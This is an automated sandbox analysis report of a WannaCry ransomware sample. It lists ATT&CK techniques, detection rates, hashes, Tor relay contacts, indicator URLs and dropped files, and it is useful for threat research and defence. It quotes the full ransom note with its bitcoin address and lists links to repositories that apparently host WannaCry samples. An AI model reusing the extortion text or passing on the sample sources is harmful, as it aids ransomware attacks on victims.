Email Addresses	DNS Server	Domain Accounts	At	1 Browser Extensions	1 Registry Run Keys / Startup Folder	111 Masquerading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	1 Data from Local System	2 Multi-hop Proxy	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	1 Services File Permissions Weakness	1 Modify Registry	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Services File Permissions Weakness	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Proxy	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk	100%	Avira	LNK/Runner.VPDJ
C:\Users\user\Desktop\@WanaDecryptor@.exe	97%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Desktop\TaskData\Tor\libeay32.dll	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\libevent-2-0-5.dll	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dll	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dll	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\libgcc_s_sjlj-1.dll	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\libssp-0.dll	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\ssleay32.dll	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\tor.exe	0%	ReversingLabs
C:\Users\user\Desktop\TaskData\Tor\zlib1.dll	0%	ReversingLabs
C:\Users\user\Desktop\WannaCry.bin	95%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Desktop\taskdl.exe	96%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Desktop\taskse.exe	89%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Desktop\u.wnry	97%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Documents\@WanaDecryptor@.exe	97%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Downloads\@WanaDecryptor@.exe	97%	ReversingLabs	Win32.Ransomware.WannaCry

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s	WannaCry.exe, 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000004F.00000002.2328619800.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000052.00000002.2328607829.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589418005.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1583977625.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005C.00000002.1584848304.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1586153016.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000060.00000002.1587347770.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000063.00000002.1588770420.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1590413504.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1591580605.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000069.00000002.1593109838.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006A.00000002.1594769324.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006C.00000002.1596337196.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006E.00000002.1599571092.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1600918230.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000070.00000002.1601807638.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000072.00000002.1603420323.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000074.00000002.1604662482.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000076.00000002.1605940913.0000000000421000.00000004.00000001.01000000.0000000B.sdmp	true		unknown
https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%s	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
http://www.openssl.org/support/faq.htmlRAND	taskhsvc.exe, 00000073.00000002.2503773853.000000006C19D000.00000002.00000001.01000000.00000010.sdmp, libeay32.dll.79.dr	false		unknown
https://blog.torproject.org/blog/lifecycle-of-a-new-relayError	@WanaDecryptor@.exe, 0000004F.00000003.1601937473.000000000275E000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
http://www.btcfrog.com/qr/bitcoinPNG.php?address=115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn	@WanaDecryptor@.exe, 00000052.00000002.2339486528.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/search?q=how	@WanaDecryptor@.exe, 00000052.00000002.2339486528.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589418005.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1583977625.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005C.00000002.1584848304.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1586153016.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000060.00000002.1587347770.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000063.00000002.1588770420.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1590413504.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1591580605.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000069.00000002.1593109838.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006A.00000002.1594769324.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006C.00000002.1596337196.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006E.00000002.1599571092.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1600918230.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000070.00000002.1601807638.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000072.00000002.1603420323.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000074.00000002.1604662482.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000076.00000002.1605940913.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000077.00000002.1607353552.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000007B.00000002.1608972570.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000007C.00000002.1610429686.0000000000421000.00000004.00000001.01000000.0000000B.sdmp	true		unknown
https://www.torproject.org/download/download#warningalphabetaThis	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
http://www.openssl.org/V	taskhsvc.exe, 00000073.00000002.2506046937.000000006C21A000.00000008.00000001.01000000.00000010.sdmp, taskhsvc.exe, 00000073.00000002.2492523449.000000006BF7C000.00000008.00000001.01000000.00000013.sdmp, libeay32.dll.79.dr	false		unknown
http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how	WannaCry.exe, 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000004F.00000002.2328619800.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000052.00000002.2328607829.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589418005.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1583977625.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005C.00000002.1584848304.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1586153016.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000060.00000002.1587347770.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000063.00000002.1588770420.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1590413504.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1591580605.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000069.00000002.1593109838.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006A.00000002.1594769324.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006C.00000002.1596337196.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006E.00000002.1599571092.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1600918230.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000070.00000002.1601807638.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000072.00000002.1603420323.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000074.00000002.1604662482.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000076.00000002.1605940913.0000000000421000.00000004.00000001.01000000.0000000B.sdmp	true		unknown
http://www.zlib.net/D	@WanaDecryptor@.exe, 0000004F.00000003.1601408389.0000000002911000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000002.2510812417.000000006E4E0000.00000008.00000001.01000000.00000011.sdmp	false		unknown
https://sabotage.net	taskhsvc.exe, 00000073.00000003.2150784228.0000000003EB9000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000003.2128753931.000000000407A000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000003.2139346119.00000000044B0000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000003.2131015386.00000000041EA000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000002.2349107247.0000000003130000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%sDANGEROUS_SOCKS	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
https://www.torproject.org/documentation.html	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
https://www.torproject.org/download/download#warning	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$	@WanaDecryptor@.exe, 0000004F.00000002.2327393102.0000000000198000.00000004.00000010.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589306611.000000000019B000.00000004.00000010.00020000.00000000.sdmp	true		unknown
https://www.torproject.org/	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
https://trac.torproject.org/8742	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
http://freehaven.net/anonbib/#hs-attack06	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
https://www.torproject.org/docs/faq.html#BestOSForRelay	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip	@WanaDecryptor@.exe, 00000052.00000002.2327516450.000000000019B000.00000004.00000010.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589306611.000000000019B000.00000004.00000010.00020000.00000000.sdmp	true		unknown
http://www.openssl.org/support/faq.html	taskhsvc.exe, 00000073.00000002.2503773853.000000006C19D000.00000002.00000001.01000000.00000010.sdmp, libeay32.dll.79.dr	false	URL Reputation: safe	unknown
https://blog.torproject.org/blog/lifecycle-of-a-new-relay	@WanaDecryptor@.exe, 0000004F.00000003.1601937473.000000000275E000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
https://trac.torproject.org/projects/tor/ticket/14917.	taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
194.109.206.212	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
171.25.193.9	unknown	Sweden	198093	DFRI-ASForeningenfordigitalafri-ochrattigheterSE	false
163.172.131.88	unknown	United Kingdom	12876	OnlineSASFR	false
51.254.246.203	unknown	France	16276	OVHFR	false
37.187.7.74	unknown	France	16276	OVHFR	false
185.32.222.237	unknown	Switzerland	51395	AS-SOFTPLUSCH	false
51.254.101.242	unknown	France	16276	OVHFR	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525431
Start date and time:	2024-10-04 08:42:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	210
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WannaCry.bin.zip
Detection:	MAL
Classification:	mal100.rans.spyw.evad.winZIP@1855/1170@0/8
Cookbook Comments:	Found application associated with file extension: .zip

Time	Type	Description
02:43:20	API Interceptor	1627463x Sleep call for process: WannaCry.exe modified
02:43:32	API Interceptor	2x Sleep call for process: @WanaDecryptor@.exe modified
02:43:34	API Interceptor	1x Sleep call for process: WMIC.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.109.206.212	74Dhsai14R.exe	Get hash	malicious	Kronos	Browse	194.109.206.212/tor/status-vote/current/consensus
	2bb0000.exe	Get hash	malicious	Unknown	Browse	194.109.206.212/tor/status-vote/current/consensus
	2f50000.exe	Get hash	malicious	Unknown	Browse	194.109.206.212/tor/status-vote/current/consensus
	6f0000.exe	Get hash	malicious	Unknown	Browse	194.109.206.212/tor/status-vote/current/consensus
171.25.193.9	R53a3ZJHBQ.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9/tor/status-vote/current/consensus
	x3WX1kHqcx.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9/tor/status-vote/current/consensus
	oGO7Hy4YCH.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9/tor/status-vote/current/consensus
	SPXp2YHDFz.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	ILI1MGzcig.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	lwRhzjuYIg.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	OVrJ9mtD6Y.exe	Get hash	malicious	TinyNuke	Browse	171.25.193.9/tor/status-vote/current/consensus
	F75rJPKdGb.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	ozJy5Zf5cf.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	zfpLjnr5P9.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OnlineSASFR	http://d-mj-hood-83.limesurvey.net/182116/	Get hash	malicious	Unknown	Browse	51.158.227.154
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	195.154.173.35
	SecuriteInfo.com.Trojan.Win32.Crypt.31282.17969.exe	Get hash	malicious	Socks5Systemz	Browse	195.154.173.35
	SecuriteInfo.com.Gen.Heur.Munp.1.11072.7602.exe	Get hash	malicious	Socks5Systemz	Browse	195.154.173.35
	report_209.pdf	Get hash	malicious	Unknown	Browse	62.210.196.157
	g3V051umJf.html	Get hash	malicious	Unknown	Browse	212.129.25.206
	https://campaignjoinnow42.cloud/	Get hash	malicious	Unknown	Browse	51.159.84.191
	EvKSsyJozV.exe	Get hash	malicious	Socks5Systemz	Browse	195.154.173.35
	J2alzv5eSV.exe	Get hash	malicious	Socks5Systemz	Browse	195.154.173.35
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	195.154.173.35
XS4ALL-NLAmsterdamNL	SecuriteInfo.com.Linux.Siggen.9999.30976.5557.elf	Get hash	malicious	Mirai	Browse	80.126.125.91
	Tsunami.arm.elf	Get hash	malicious	Mirai	Browse	212.238.146.163
	ZgBCG135hk.elf	Get hash	malicious	Mirai, Moobot	Browse	83.161.145.156
	SecuriteInfo.com.Linux.Siggen.9999.5151.15671.elf	Get hash	malicious	Mirai	Browse	82.161.216.48
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse	213.222.24.114
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	83.68.16.53
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	80.127.228.2
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	194.109.43.227
	https://hashsuite.openwall.net/downloads/Hash_Suite_Free_3_7.zip	Get hash	malicious	Unknown	Browse	193.110.157.245
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	82.93.63.107
DFRI-ASForeningenfordigitalafri-ochrattigheterSE	file.exe	Get hash	malicious	Quasar, WhiteSnake Stealer	Browse	171.25.193.9
	17dDkWbjoz.exe	Get hash	malicious	PureLog Stealer	Browse	171.25.193.80
	C0ED98D08381257B540A04C0868ECD6A628649AA70FEBCBE03778BAE532FB5BE.exe	Get hash	malicious	Bdaejec, BitCoin Miner, Xmrig	Browse	171.25.193.9
	Endermanch@NoMoreRansom.exe	Get hash	malicious	Troldesh / Shade, Bdaejec, CryptOne	Browse	171.25.193.9
	LisectAVT_2403002A_8.exe	Get hash	malicious	CryptOne	Browse	171.25.193.9
	A2G6pO40qG.exe	Get hash	malicious	CMSBrute	Browse	171.25.193.9
	jXBjxhHQgR.exe	Get hash	malicious	CMSBrute	Browse	171.25.193.9
	c8sDO7umrx.exe	Get hash	malicious	CMSBrute	Browse	171.25.193.9
	PHHOjspjmp.exe	Get hash	malicious	CMSBrute	Browse	171.25.193.9
	77system.vbs	Get hash	malicious	Xmrig	Browse	171.25.193.20

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\@WanaDecryptor@.exe	f_000112	Get hash	malicious	Conti, Wannacry	Browse
	WannaCry_2.EXE	Get hash	malicious	Wannacry	Browse
	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Get hash	malicious	Wannacry, Bdaejec	Browse
	LisectAVT_2403002A_126.EXE.exe	Get hash	malicious	Wannacry, Conti	Browse
	LisectAVT_2403002A_126.EXE.exe	Get hash	malicious	Wannacry	Browse
	LisectAVT_2403002A_223.exe	Get hash	malicious	Wannacry	Browse
	https://github.com/limiteci/WannaCry	Get hash	malicious	Wannacry	Browse
	https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip	Get hash	malicious	Conti, Wannacry	Browse
	Request for Quotation (RFQ_196).zip.zip	Get hash	malicious	Wannacry, Conti	Browse
	https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/raw/master/Ransomware.WannaCry.zip	Get hash	malicious	Wannacry, Conti	Browse

Process:	C:\Users\user\Desktop\WannaCry.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	933
Entropy (8bit):	4.708686542546707
Encrypted:	false
SSDEEP:	24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
MD5:	F97D2E6F8D820DBD3B66F21137DE4F09
SHA1:	596799B75B5D60AA9CD45646F68E9C0BD06DF252
SHA-256:	0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
SHA-512:	EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
Malicious:	false
Yara Hits:	Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth
Preview:	Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

Process:	C:\Windows\System32\backgroundTaskHost.exe
File Type:	data
Category:	dropped
Size (bytes):	1256
Entropy (8bit):	3.524667877403877
Encrypted:	false
SSDEEP:	24:fxVCvxV2wKp1xV/uxVC0QlVRxVsTV+xVC3RxVClxVCk+v:JVC5VUVYVCD3VWAVC33VCDVCks
MD5:	BB9BA05C348A57F6B4A83384133D2833
SHA1:	67E807B44D8365C153DCEC0FC4FD3830D83D93E0
SHA-256:	5C7AE9A45FCE2FD61EF6D9597575FBF70095A9A73F77D687B6713707AB23F41F
SHA-512:	CCCF6583D13A0D153F3D48539D4CC382CFA40B287F47F400043E64335C4C62B86AB48B8B5115D7C58904CE50058180EA7FB5B631A23DB193DF1C2602F1411085
Malicious:	false
Preview:	2.0.2.4.-.1.0.-.0.4. .0.6.:.4.3.:.2.3. .U.T.C.\|.I.n.f.o.:. .U.n.r.e.c.o.g.n.i.z.e.d. .f.e.a.t.u.r.e. .C.l.o.u.d.A.g.e.n.t._.S.e.t.t.i.n.g.s.....2.0.2.4.-.1.0.-.0.4. .0.6.:.4.3.:.2.3. .U.T.C.\|.I.n.f.o.:. .U.n.r.e.c.o.g.n.i.z.e.d. .f.e.a.t.u.r.e. .C.o.r.t.a.n.a.H.o.m.e.U.s.e.r.A.c.t.i.v.i.t.y.E.n.a.b.l.e.d.....2.0.2.4.-.1.0.-.0.4. .0.6.:.4.3.:.2.3. .U.T.C.\|.I.n.f.o.:. .U.n.r.e.c.o.g.n.i.z.e.d. .f.e.a.t.u.r.e. .P.W.I.L.O.A.c.t.i.v.i.t.y.U.p.l.o.a.d.E.n.a.b.l.e.d.....2.0.2.4.-.1.0.-.0.4. .0.6.:.4.3.:.2.3. .U.T.C.\|.I.n.f.o.:. .U.n.r.e.c.o.g.n.i.z.e.d. .f.e.a.t.u.r.e. .C.l.o.u.d.A.g.e.n.t._.V.o.l.u.m.e.C.o.n.t.r.o.l.....2.0.2.4.-.1.0.-.0.4. .0.6.:.4.3.:.2.3. .U.T.C.\|.I.n.f.o.:. .U.n.r.e.c.o.g.n.i.z.e.d. .f.e.a.t.u.r.e. .M.u.l.t.i.A.c.c.o.u.n.t.C.l.o.u.d.S.e.a.r.c.h.S.u.p.p.o.r.t.e.d.....2.0.2.4.-.1.0.-.0.4. .0.6.:.4.3.:.2.3. .U.T.C.\|.I.n.f.o.:. .U.n.r.e.c.o.g.n.i.z.e.d. .f.e.a.t.u.r.e. .C.l.o.u.d.A.g.e.n.t._.M.e.d.i.a.C.o.n.t.r.o.l.....2.0.2.4.-.1.0.-.0.4. .0.6.:.4.3.:.2.3. .U.T.C.\|.I.n.f.o.

Process:	C:\Windows\SysWOW64\cscript.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Oct 4 05:43:20 2024, mtime=Fri Oct 4 05:43:20 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
Category:	dropped
Size (bytes):	577
Entropy (8bit):	5.1553023194242416
Encrypted:	false
SSDEEP:	12:81ypzYNbVUthZsUoBjAuvUuHwoOXhicmV:81BImAO96Fm
MD5:	9B3A32817BC73D079076C7A433BFD223
SHA1:	ECB0EAF1C2D33A065EAD7E1CC26B1293BB2BC7A7
SHA-256:	12F9DBE08D1AA086B674A0CFFAD10F11FDC79664CBF5139B9B609D05197228B5
SHA-512:	CD59012398BA9D25D19F76689222451A32A13D1A79CFEB7B58ED152F121A180CC3A10283ECB32922DA99F162972E0D50CF1C28061D35A11130DFE82B4EAE5702
Malicious:	true
Preview:	L..................F.... ......(...c4.(....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&......}}.9....7.(....&..(.....t.2......J.2 .@WANAD~1.EXE..X......DYk5DYk5..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y...........s3.T.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......066656...........hT..CrF.f4... .F..F...../....%..hT..CrF.f4... .F..F...../....%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WannaCry.bin.zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Sigma Signatures

Operating System Destruction

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

